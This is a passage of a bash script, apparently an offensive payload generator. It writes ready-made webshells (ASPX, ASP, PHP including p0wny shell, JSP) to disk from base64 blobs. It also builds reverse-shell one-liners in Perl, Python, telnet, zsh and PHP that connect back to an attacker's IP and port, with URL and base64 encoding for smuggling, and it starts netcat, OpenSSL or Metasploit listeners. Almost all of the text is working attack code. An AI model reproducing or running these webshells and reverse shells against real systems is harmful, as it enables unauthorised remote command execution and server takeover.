' printf "Enter path for the webshell or press enter for $PWD:" read -r ans case $ans in "") echo -n $Insomniarev| base64 -d > "$PWD/Insomnia_rev.aspx" echo read -p "Please enter your listening IP [$myip]: " LHOST LHOST=${LHOST:-$myip} $sed -i "s/LHOST/$LHOST/" "$PWD/Insomnia_rev.aspx" read -p "Please enter your listening port [$myport]: " LPORT LPORT=${LPORT:-$myport} $sed -i "s/LPORT/$LPORT/" "$PWD/Insomnia_rev.aspx" echo "Saving $1 to: $PWD/Insomnia_rev.aspx" read -p "Press enter to go back to the main menu" mainmenu ;; *) echo -n $Insomniarev| base64 -d > "$ans/Insomnia_rev.aspx" echo read -p "Please enter your listening IP [$myip]: " LHOST LHOST=${LHOST:-$myip} $sed -i "s/LHOST/$LHOST/" "$ans/Insomnia_rev.aspx" read -p "Please enter your listening port [$myport]: " LPORT LPORT=${LPORT:-$myport} $sed -i "s/LPORT/$LPORT/" "$ans/Insomnia_rev.aspx" echo "Saving $1 to: $ans/Insomnia_rev.aspx" read -p "Press enter to go back to the main menu" mainmenu ;; esac ;; simpleasp) simpleasp='PCUKU2V0IG9TY3JpcHQgPSBTZXJ2ZXIuQ3JlYXRlT2JqZWN0KCJXU0NSSVBULlNIRUxMIikKU2V0IG9TY3JpcHROZXQgPSBTZXJ2ZXIuQ3JlYXRlT2JqZWN0KCJXU0NSSVBULk5FVFdPUksiKQpTZXQgb0ZpbGVTeXMgPSBTZXJ2ZXIuQ3JlYXRlT2JqZWN0KCJTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCIpCkZ1bmN0aW9uIGdldENvbW1hbmRPdXRwdXQodGhlQ29tbWFuZCkKICAgIERpbSBvYmpTaGVsbCwgb2JqQ21kRXhlYwogICAgU2V0IG9ialNoZWxsID0gQ3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIikKICAgIFNldCBvYmpDbWRFeGVjID0gb2Jqc2hlbGwuZXhlYyh0aGVjb21tYW5kKQogICAgZ2V0Q29tbWFuZE91dHB1dCA9IG9iakNtZEV4ZWMuU3RkT3V0LlJlYWRBbGwKZW5kIEZ1bmN0aW9uCiU+CgoKPEhUTUw+CjxCT0RZPgo8Rk9STSBhY3Rpb249IiIgbWV0aG9kPSJHRVQiPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBzaXplPTQ1IHZhbHVlPSI8JT0gc3pDTUQgJT4iPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUnVuIj4KPC9GT1JNPgo8UFJFPgo8JT0gIlxcIiAmIG9TY3JpcHROZXQuQ29tcHV0ZXJOYW1lICYgIlwiICYgb1NjcmlwdE5ldC5Vc2VyTmFtZSAlPgo8JVJlc3BvbnNlLldyaXRlKFJlcXVlc3QuU2VydmVyVmFyaWFibGVzKCJzZXJ2ZXJfbmFtZSIpKSU+CjxwPgo8Yj5UaGUgc2VydmVyJ3MgcG9ydDo8L2I+CjwlUmVzcG9uc2UuV3JpdGUoUmVxdWVzdC5TZXJ2ZXJWYXJpYWJsZXMoInNlcnZlcl9wb3J0IikpJT4KPC9wPgo8cD4KPGI+VGhlIHNlcnZlcidzIHNvZnR3YXJlOjwvYj4KPCVSZXNwb25zZS5Xcml0ZShSZXF1ZXN0LlNlcnZlclZhcmlhYmxlcygic2VydmVyX3NvZnR3YXJlIikpJT4KPC9wPgo8cD4KPGI+VGhlIHNlcnZlcidzIGxvY2FsIGFkZHJlc3M6PC9iPgo8JVJlc3BvbnNlLldyaXRlKFJlcXVlc3QuU2VydmVyVmFyaWFibGVzKCJMT0NBTF9BRERSIikpJT4KPCUgc3pDTUQgPSByZXF1ZXN0KCJjbWQiKQp0aGlzRGlyID0gZ2V0Q29tbWFuZE91dHB1dCgiY21kIC9jIiAmIHN6Q01EKQpSZXNwb25zZS5Xcml0ZSh0aGlzRGlyKSU+CjwvcD4KPGJyPgo8L0JPRFk+CjwvSFRNTD4K' printf "Enter path for the webshell or press enter for $PWD:" read -r ans case $ans in "") echo -n $simpleasp | base64 -d > "$PWD/simpleshell.asp" echo "Saving $1 to: $PWD/simpleshell.asp" echo read -p "Press enter to go back to the main menu" mainmenu ;; *) echo -n $simpleasp | base64 -d > "$ans/simpleshell.asp" echo "Saving $1 to: $ans/simpleshell.asp" echo read -p "Press enter to go back to the main menu" mainmenu ;; esac ;; p0wnyshell) p0wnyshell='<?php

function featureShell($cmd, $cwd) {
    $stdout = array();

    if (preg_match("/^\s*cd\s*$/", $cmd)) {
        // pass
    } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
        chdir($cwd);
        preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
        chdir($match[1]);
    } elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
        chdir($cwd);
        preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
        return featureDownload($match[1]);
    } else {
        chdir($cwd);
        exec($cmd, $stdout);
    }

    return array(
        "stdout" => $stdout,
        "cwd" => getcwd()
    );
}

function featurePwd() {
    return array("cwd" => getcwd());
}

function featureHint($fileName, $cwd, $type) {
    chdir($cwd);
    if ($type == 'cmd') {
        $cmd = "compgen -c $fileName";
    } else {
        $cmd = "compgen -f $fileName";
    }
    $cmd = "/bin/bash -c \"$cmd\"";
    $files = explode("\n", shell_exec($cmd));
    return array(
        'files' => $files,
    );
}

function featureDownload($filePath) {
    $file = @file_get_contents($filePath);
    if ($file === FALSE) {
        return array(
            'stdout' => array('File not found / no read permission.'),
            'cwd' => getcwd()
        );
    } else {
        return array(
            'name' => basename($filePath),
            'file' => base64_encode($file)
        );
    }
}

function featureUpload($path, $file, $cwd) {
    chdir($cwd);
    $f = @fopen($path, 'wb');
    if ($f === FALSE) {
        return array(
            'stdout' => array('Invalid path / no write permission.'),
            'cwd' => getcwd()
        );
    } else {
        fwrite($f, base64_decode($file));
        fclose($f);
        return array(
            'stdout' => array('Done.'),
            'cwd' => getcwd()
        );
    }
}

if (isset($_GET["feature"])) {

    $response = NULL;

    switch ($_GET["feature"]) {
        case "shell":
            $cmd = $_POST['cmd'];
            if (!preg_match('/2>/', $cmd)) {
                $cmd .= ' 2>&1';
            }
            $response = featureShell($cmd, $_POST["cwd"]);
            break;
        case "pwd":
            $response = featurePwd();
            break;
        case "hint":
            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
            break;
        case 'upload':
            $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
    }

    header("Content-Type: application/json");
    echo json_encode($response);
    die();
}

?><!DOCTYPE html>

<html>

    <head>
        <meta charset="UTF-8" />
        <title>p0wny@shell:~#</title>
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <style>
            html, body {
                margin: 0;
                padding: 0;
                background: #333;
                color: #eee;
                font-family: monospace;
            }

            *::-webkit-scrollbar-track {
                border-radius: 8px;
                background-color: #353535;
            }

            *::-webkit-scrollbar {
                width: 8px;
                height: 8px;
            }

            *::-webkit-scrollbar-thumb {
                border-radius: 8px;
                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
                background-color: #bcbcbc;
            }

            #shell {
                background: #222;
                max-width: 800px;
                margin: 50px auto 0 auto;
                box-shadow: 0 0 5px rgba(0, 0, 0, .3);
                font-size: 10pt;
                display: flex;
                flex-direction: column;
                align-items: stretch;
            }

            #shell-content {
                height: 500px;
                overflow: auto;
                padding: 5px;
                white-space: pre-wrap;
                flex-grow: 1;
            }

            #shell-logo {
                font-weight: bold;
                color: #FF4180;
                text-align: center;
            }

            @media (max-width: 991px) {
                #shell-logo {
                    font-size: 6px;
                    margin: -25px 0;
                }

                html, body, #shell {
                    height: 100%;
                    width: 100%;
                    max-width: none;
                }

                #shell {
                    margin-top: 0;
                }
            }

            @media (max-width: 767px) {
                #shell-input {
                    flex-direction: column;
                }
            }

            @media (max-width: 320px) {
                #shell-logo {
                    font-size: 5px;
                }
            }

            .shell-prompt {
                font-weight: bold;
                color: #75DF0B;
            }

            .shell-prompt > span {
                color: #1BC9E7;
            }

            #shell-input {
                display: flex;
                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
                border-top: rgba(255, 255, 255, .05) solid 1px;
            }

            #shell-input > label {
                flex-grow: 0;
                display: block;
                padding: 0 5px;
                height: 30px;
                line-height: 30px;
            }

            #shell-input #shell-cmd {
                height: 30px;
                line-height: 30px;
                border: none;
                background: transparent;
                color: #eee;
                font-family: monospace;
                font-size: 10pt;
                width: 100%;
                align-self: center;
            }

            #shell-input div {
                flex-grow: 1;
                align-items: stretch;
            }

            #shell-input input {
                outline: none;
            }
        </style>

        <script>
            var CWD = null;
            var commandHistory = [];
            var historyPosition = 0;
            var eShellCmdInput = null;
            var eShellContent = null;

            function _insertCommand(command) {
                eShellContent.innerHTML += "\n\n";
                eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
                eShellContent.innerHTML += escapeHtml(command);
                eShellContent.innerHTML += "\n";
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }

            function _insertStdout(stdout) {
                eShellContent.innerHTML += escapeHtml(stdout);
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }

            function _defer(callback) {
                setTimeout(callback, 0);
            }

            function featureShell(command) {

                _insertCommand(command);
                if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
                    featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
                } else if (/^\s*clear\s*$/.test(command)) {
                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
                    eShellContent.innerHTML = '';
                } else {
                    makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
                        if (response.hasOwnProperty('file')) {
                            featureDownload(response.name, response.file)
                        } else {
                            _insertStdout(response.stdout.join("\n"));
                            updateCwd(response.cwd);
                        }
                    });
                }
            }

            function featureHint() {
                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete

                function _requestCallback(data) {
                    if (data.files.length <= 1) return;  // no completion

                    if (data.files.length === 2) {
                        if (type === 'cmd') {
                            eShellCmdInput.value = data.files[0];
                        } else {
                            var currentValue = eShellCmdInput.value;
                            eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
                        }
                    } else {
                        _insertCommand(eShellCmdInput.value);
                        _insertStdout(data.files.join("\n"));
                    }
                }

                var currentCmd = eShellCmdInput.value.split(" ");
                var type = (currentCmd.length === 1) ? "cmd" : "file";
                var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];

                makeRequest(
                    "?feature=hint",
                    {
                        filename: fileName,
                        cwd: CWD,
                        type: type
                    },
                    _requestCallback
                );

            }

            function featureDownload(name, file) {
                var element = document.createElement('a');
                element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
                element.setAttribute('download', name);
                element.style.display = 'none';
                document.body.appendChild(element);
                element.click();
                document.body.removeChild(element);
                _insertStdout('Done.');
            }

            function featureUpload(path) {
                var element = document.createElement('input');
                element.setAttribute('type', 'file');
                element.style.display = 'none';
                document.body.appendChild(element);
                element.addEventListener('change', function () {
                    var promise = getBase64(element.files[0]);
                    promise.then(function (file) {
                        makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
                            _insertStdout(response.stdout.join("\n"));
                            updateCwd(response.cwd);
                        });
                    }, function () {
                        _insertStdout('An unknown client-side error occurred.');
                    });
                });
                element.click();
                document.body.removeChild(element);
            }

            function getBase64(file, onLoadCallback) {
                return new Promise(function(resolve, reject) {
                    var reader = new FileReader();
                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
                    reader.onerror = reject;
                    reader.readAsDataURL(file);
                });
            }

            function genPrompt(cwd) {
                cwd = cwd || "~";
                var shortCwd = cwd;
                if (cwd.split("/").length > 3) {
                    var splittedCwd = cwd.split("/");
                    shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
                }
                return "p0wny@shell:<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
            }

            function updateCwd(cwd) {
                if (cwd) {
                    CWD = cwd;
                    _updatePrompt();
                    return;
                }
                makeRequest("?feature=pwd", {}, function(response) {
                    CWD = response.cwd;
                    _updatePrompt();
                });

            }

            function escapeHtml(string) {
                return string
                    .replace(/&/g, "&amp;")
                    .replace(/</g, "&lt;")
                    .replace(/>/g, "&gt;");
            }

            function _updatePrompt() {
                var eShellPrompt = document.getElementById("shell-prompt");
                eShellPrompt.innerHTML = genPrompt(CWD);
            }

            function _onShellCmdKeyDown(event) {
                switch (event.key) {
                    case "Enter":
                        featureShell(eShellCmdInput.value);
                        insertToHistory(eShellCmdInput.value);
                        eShellCmdInput.value = "";
                        break;
                    case "ArrowUp":
                        if (historyPosition > 0) {
                            historyPosition--;
                            eShellCmdInput.blur();
                            eShellCmdInput.value = commandHistory[historyPosition];
                            _defer(function() {
                                eShellCmdInput.focus();
                            });
                        }
                        break;
                    case "ArrowDown":
                        if (historyPosition >= commandHistory.length) {
                            break;
                        }
                        historyPosition++;
                        if (historyPosition === commandHistory.length) {
                            eShellCmdInput.value = "";
                        } else {
                            eShellCmdInput.blur();
                            eShellCmdInput.focus();
                            eShellCmdInput.value = commandHistory[historyPosition];
                        }
                        break;
                    case 'Tab':
                        event.preventDefault();
                        featureHint();
                        break;
                }
            }

            function insertToHistory(cmd) {
                commandHistory.push(cmd);
                historyPosition = commandHistory.length;
            }

            function makeRequest(url, params, callback) {
                function getQueryString() {
                    var a = [];
                    for (var key in params) {
                        if (params.hasOwnProperty(key)) {
                            a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
                        }
                    }
                    return a.join("&");
                }
                var xhr = new XMLHttpRequest();
                xhr.open("POST", url, true);
                xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
                xhr.onreadystatechange = function() {
                    if (xhr.readyState === 4 && xhr.status === 200) {
                        try {
                            var responseJson = JSON.parse(xhr.responseText);
                            callback(responseJson);
                        } catch (error) {
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        ___                         ____      _          _ _        _  _   <span></span>
 _ __  / _ \__      ___ __  _   _  / __ \ ___| |__   ___| | |_ /\/|| || |_ <span></span>
| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_  ..  _|<span></span>
| |_) | |_| |\ V  V /| | | | |_| | | (_| \__ \ | | |  __/ | |_   |_      _|<span></span>
| .__/ \___/  \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_)    |_||_|  <span></span>
|_|                         |___/  \____/                                  <span></span>
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' printf "Enter path for the webshell or press enter for $PWD:" read -r ans case $ans in "") echo -n $p0wnyshell | base64 -d > "$PWD/p0wnyshell.php" echo "Saving $1 to: $PWD/p0wnyshell.php" echo read -p "Press enter to go back to the main menu" mainmenu ;; *) echo -n $p0wnyshell | base64 -d > "$ans/p0wnyshell.php" echo "Saving $1 to: $ans/p0wnyshell.php" echo read -p "Press enter to go back to the main menu" mainmenu ;; esac ;; simplephp) simplephp='PGh0bWw+Cjxib2R5Pgo8Zm9ybSBtZXRob2Q9IkdFVCIgbmFtZT0iPD9waHAgZWNobyBiYXNlbmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSk7ID8+Ij4KPGlucHV0IHR5cGU9IlRFWFQiIG5hbWU9ImNtZCIgYXV0b2ZvY3VzIGlkPSJjbWQiIHNpemU9IjgwIj4KPGlucHV0IHR5cGU9IlNVQk1JVCIgdmFsdWU9IkV4ZWN1dGUiPgo8L2Zvcm0+CjxwcmU+Cjw/cGhwCiAgICBpZihpc3NldCgkX0dFVFsnY21kJ10pKQogICAgewogICAgICAgIHN5c3RlbSgkX0dFVFsnY21kJ10pOwogICAgfQo/Pgo8L3ByZT4KPC9ib2R5Pgo8L2h0bWw+Cg==' printf "Enter path for the webshell or press enter for $PWD:" read -r ans case $ans in "") echo -n $simplephp | base64 -d > "$PWD/simpleshell.php" echo "Saving $1 to: $PWD/simpleshell.php" echo read -p "Press enter to go back to the main menu" mainmenu ;; *) echo -n $simplephp | base64 -d > "$ans/simpleshell.php" echo "Saving $1 to: $ans/simpleshell.php" echo read -p "Press enter to go back to the main menu" mainmenu ;; esac ;; jsp) jsp='PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiJT4KPEhUTUw+PEJPRFk+CjxGT1JNIE1FVEhPRD0iR0VUIiBOQU1FPSJteWZvcm0iIEFDVElPTj0iIj4KPElOUFVUIFRZUEU9InRleHQiIE5BTUU9ImNtZCI+CjxJTlBVVCBUWVBFPSJzdWJtaXQiIFZBTFVFPSJTZW5kIj4KPC9GT1JNPgo8cHJlPgo8JQppZiAocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpICE9IG51bGwpIHsKICAgICAgICBvdXQucHJpbnRsbigiQ29tbWFuZDogIiArIHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSArICI8QlI+Iik7CiAgICAgICAgUHJvY2VzcyBwID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpOwogICAgICAgIE91dHB1dFN0cmVhbSBvcyA9IHAuZ2V0T3V0cHV0U3RyZWFtKCk7CiAgICAgICAgSW5wdXRTdHJlYW0gaW4gPSBwLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgRGF0YUlucHV0U3RyZWFtIGRpcyA9IG5ldyBEYXRhSW5wdXRTdHJlYW0oaW4pOwogICAgICAgIFN0cmluZyBkaXNyID0gZGlzLnJlYWRMaW5lKCk7CiAgICAgICAgd2hpbGUgKCBkaXNyICE9IG51bGwgKSB7CiAgICAgICAgICAgICAgICBvdXQucHJpbnRsbihkaXNyKTsgCiAgICAgICAgICAgICAgICBkaXNyID0gZGlzLnJlYWRMaW5lKCk7IAogICAgICAgICAgICAgICAgfQogICAgICAgIH0KJT4KPC9wcmU+CjwvQk9EWT48L0hUTUw+CgoK' printf "Enter path for the webshell or press enter for $PWD:" read -r ans case $ans in "") echo -n $jsp | base64 -d > "$PWD/shell.jsp" echo "Saving $1 to: $PWD/shell.jsp" echo read -p "Press enter to go back to the main menu" mainmenu ;; *) echo -n $jsp | base64 -d > "$ans/shell.jsp" echo "Saving $1 to: $ans/shell.jsp" echo read -p "Press enter to go back to the main menu" mainmenu ;; esac ;; *) echo -n "unknown" ;; esac } function perl () { if [ $usingngrok == 1 ] then IP=$ngrokIP PORT=$ngrokPORT fi header rev="perl -e 'use Socket;\$i=\"$IP\";\$p=$PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"$nshell\");};'" if [[ $1 == "url" ]] then rev=$(urlencodeme "$rev") elif [[ $1 == "urlx2" ]] then rev=$(urlencodeme "$rev") rev=$(urlencodeme "$rev") elif [[ $1 == "base64url" ]] then rev=$(echo -n $rev|$benc --base64url -w0) elif [[ $1 == "base64" ]] then rev=$(echo -n $rev|$benc --base64 -w0) fi if [[ $OS == "Darwin" ]] then echo -n $rev | pbcopy else echo -n $rev | xclip -sel c fi listen } function python () { if [ $usingngrok == 1 ] then IP=$ngrokIP PORT=$ngrokPORT fi header if [[ $1 == "python" ]] then pythonv="python" elif [[ $1 == "python3" ]] then pythonv="python3" fi rev="$pythonv -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$IP\",$PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"$nshell\")'" wrev2="python.exe -c \"(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('$IP', $PORT)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))\"" wrev3="python.exe -c \"import socket,os,threading,subprocess as sp;p=sp.Popen(['cmd.exe'],stdin=sp.PIPE,stdout=sp.PIPE,stderr=sp.STDOUT);s=socket.socket();s.connect(('$IP',$PORT));threading.Thread(target=exec,args=(\"while(True):o=os.read(p.stdout.fileno(),1024);s.send(o)\",globals()),daemon=True).start();threading.Thread(target=exec,args=(\\\"while(True):i=s.recv(1024);os.write(p.stdin.fileno(),i)\\\",globals())).start()\"" if [[ $1 == "wpython" ]] then rev=$wrev2 elif [[ $1 == "wpython3" ]] then rev=$wrev3 fi if [[ $2 == "url" ]] then rev=$(urlencodeme "$rev") elif [[ $2 == "urlx2" ]] then rev=$(urlencodeme "$rev") rev=$(urlencodeme "$rev") fi if [[ $OS == "Darwin" ]] then echo -n $rev | pbcopy else echo -n $rev | xclip -sel c fi listen } function telnet () { if [ $usingngrok == 1 ] then IP=$ngrokIP PORT=$ngrokPORT fi header rev="e=\$(mktemp -u);mkfifo \$e && telnet $IP $PORT 0<\$e | $nshell 1>\$e" if [[ $1 == "url" ]] then rev=$(urlencodeme "$rev") elif [[ $1 == "urlx2" ]] then rev=$(urlencodeme "$rev") rev=$(urlencodeme "$rev") elif [[ $1 == "base64url" ]] then rev=$(echo -n $rev|$benc --base64url -w0) elif [[ $1 == "base64" ]] then rev=$(echo -n $rev|$benc --base64 -w0) fi if [[ $OS == "Darwin" ]] then echo -n $rev | pbcopy else echo -n $rev | xclip -sel c fi listen } function zsh () { if [ $usingngrok == 1 ] then IP=$ngrokIP PORT=$ngrokPORT fi header rev="zsh -c 'zmodload zsh/net/tcp && ztcp $IP $PORT && zsh >&\$REPLY 2>&\$REPLY 0>&\$REPLY'" if [[ $1 == "url" ]] then rev=$(urlencodeme "$rev") elif [[ $1 == "urlx2" ]] then rev=$(urlencodeme "$rev") rev=$(urlencodeme "$rev") elif [[ $1 == "base64url" ]] then rev=$(echo -n $rev|$benc --base64url -w0) elif [[ $1 == "base64" ]] then rev=$(echo -n $rev|$benc --base64 -w0) fi if [[ $OS == "Darwin" ]] then echo -n $rev | pbcopy else echo -n $rev | xclip -sel c fi listen } function php () { if [ $usingngrok == 1 ] then IP=$ngrokIP PORT=$ngrokPORT fi header echo "function: $efunc" if [ "$efunc" == "popen" ] then rev="php -r '\$sock=fsockopen(\"$IP\",$PORT);popen(\"$nshell<&3 >&3 2>&3\", \"r\");'" elif [ "$efunc" == "proc_open" ] then rev="php -r '\$sock=fsockopen(\"$IP\",$PORT);\$proc=proc_open(\"$nshell\", array(0=>\$sock, 1=>\$sock, 2=>\$sock),\$pipes);'" else rev="php -r '\$sock=fsockopen(\"$IP\",$PORT);\$c=\"$nshell <&3 >&3 2>&3\";$efunc("\$c");'" fi if [[ $1 == "url" ]] then rev=$(urlencodeme "$rev") elif [[ $1 == "urlx2" ]] then rev=$(urlencodeme "$rev") rev=$(urlencodeme "$rev") elif [[ $1 == "base64url" ]] then rev=$(echo -n $rev|$benc --base64url -w0) elif [[ $1 == "base64" ]] then rev=$(echo -n $rev|$benc --base64 -w0) fi if [[ $OS == "Darwin" ]] then echo -n $rev | pbcopy else echo -n $rev | xclip -sel c fi listen } #Listener function listen () { header printf "The following has been copied to your clipboard:\n\n" echo "$rev" payload_length=$(echo -n $rev|wc -c) echo echo "The payload is $payload_length characters" if [[ "$payload_length" -gt 8191 ]] then echo echo "This is more than the 8191 characters command-line string limitation in Windows Command prompt (cmd.exe). You need to shorten it, or alter it to run directly from PowerShell instead of cmd.exe" fi printf "\n\n" if [[ $1 == "udp" ]] then prot="-u" fi echo -ne " $(blueprint 'Listener')" if [ "$poshproto" == "ssl" ] then defChoice=3 else defChoice=1 fi echo -ne " $(greenprint '1)') rlwrap nc $1 $(greenprint '2)') nc $1 $(greenprint '3)') OpenSSL $(greenprint '4)') MSF Multi/Handler $(magentaprint 'm)') Go Back to Main Menu $(redprint '0)') Exit Choose an option [$defChoice]: " if [[ $usingngrok == 1 ]] then PORT=$LOCALPORT fi read -r -n 1 ans case $ans in 1) if [[ $OS == "Darwin" ]] then osascript -e "tell app \"Terminal\" to do script \"clear && echo \\\"Listening on port: $PORT\\\" && $rlwrap -cAr /usr/bin/nc $prot -lvn $PORT \n\" activate " mainmenu else echo yellowprint "Do you wish to listen in a new terminal window [Y/n]" read -r -n 1 ans case $ans in y) echo -en "#!/bin/bash\nsleep 0.5\n$rlwrap -cAr $nc $prot -lvnp $PORT\n" > /tmp/listen && chmod +x /tmp/listen for terminal in "$TERMINAL" x-terminal-emulator qterminal mate-terminal gnome-terminal terminator xfce4-terminal urxvt rxvt termit Eterm aterm roxterm termite lxterminal terminology st lilyterm tilix terminix konsole kitty guake tilda alacritty hyper wezterm; do if command -v "$terminal" > /dev/null 2>&1 then "$terminal" -e "/tmp/listen"& break fi done mainmenu ;; n) echo $rlwrap -cAr $nc $prot -lvnp $PORT ;; "") echo -en "#!/bin/bash\nsleep 0.5\n$rlwrap -cAr $nc $prot -lvnp $PORT\n" > /tmp/listen && chmod +x /tmp/listen for terminal in "$TERMINAL" x-terminal-emulator qterminal mate-terminal gnome-terminal terminator xfce4-terminal urxvt rxvt termit Eterm aterm roxterm termite lxterminal terminology st lilyterm tilix terminix konsole kitty guake tilda alacritty hyper wezterm; do if command -v "$terminal" > /dev/null 2>&1 then "$terminal" -e "/tmp/listen"& break fi done mainmenu ;; *) echo ;; esac fi ;; 2) if [[ $OS == "Darwin" ]] then osascript -e "tell app \"Terminal\" to do script \"clear && echo \\\"Listening on port: $PORT\\\" && $rlwrap -cAr /usr/bin/nc $prot -lvn $PORT \n\" activate" mainmenu else echo yellowprint "Do you wish to listen in a new terminal window [Y/n]" read -r -n 1 ans case $ans in y) echo -en "#!/bin/bash\nsleep 0.5\n$nc $prot -lvnp $PORT\n" > /tmp/listen && chmod +x /tmp/listen for terminal in "$TERMINAL" x-terminal-emulator qterminal mate-terminal gnome-terminal terminator xfce4-terminal urxvt rxvt termit Eterm aterm roxterm termite lxterminal terminology st lilyterm tilix terminix konsole kitty guake tilda alacritty hyper wezterm; do if command -v "$terminal" > /dev/null 2>&1 then "$terminal" -e "/tmp/listen"& break fi done mainmenu ;; n) echo $rlwrap -cAr $nc $prot -lvnp $PORT ;; "") echo -en "#!/bin/bash\nsleep 0.5\n$nc $prot -lvnp $PORT\n" > /tmp/listen && chmod +x /tmp/listen for terminal in "$TERMINAL" x-terminal-emulator qterminal mate-terminal gnome-terminal terminator xfce4-terminal urxvt rxvt termit Eterm aterm roxterm termite lxterminal terminology st lilyterm tilix terminix konsole kitty guake tilda alacritty hyper wezterm; do if command -v "$terminal" > /dev/null 2>&1 then "$terminal" -e "/tmp/listen"& break fi done mainmenu ;; *) echo ;; esac printf "\n\n";$nc $prot -lvnp $PORT fi ;; 3) echo -e "Generating certificate..." echo openssl req -x509 -newkey rsa:4096 -keyout /tmp/k.pem -out /tmp/c.pem -days 365 -nodes -subj "/C=US/ST=*/L=*/O=*/CN=google.com" >/dev/null 2>&1 if [[ $OS == "Darwin" ]] then osascript -e "tell app \"Terminal\" to do script \"clear && echo \\\"Listening on port: $PORT\\\" && $rlwrap -cAr openssl s_server -quiet -key /tmp/k.pem -cert /tmp/c.pem -port $PORT\n\" activate" mainmenu else echo yellowprint "Do you wish to listen in a new terminal window [Y/n]" read -r -n 1 ans case $ans in y) echo -en "#!/bin/bash\nsleep 0.5\necho \"Listening on port:$PORT\"\n$rlwrap -cAr openssl s_server -quiet -key /tmp/k.pem -cert /tmp/c.pem -port $PORT" > /tmp/listen && chmod +x /tmp/listen for terminal in "$TERMINAL" x-terminal-emulator qterminal mate-terminal gnome-terminal terminator xfce4-terminal urxvt rxvt termit Eterm aterm roxterm termite lxterminal terminology st lilyterm tilix terminix konsole kitty guake tilda alacritty hyper 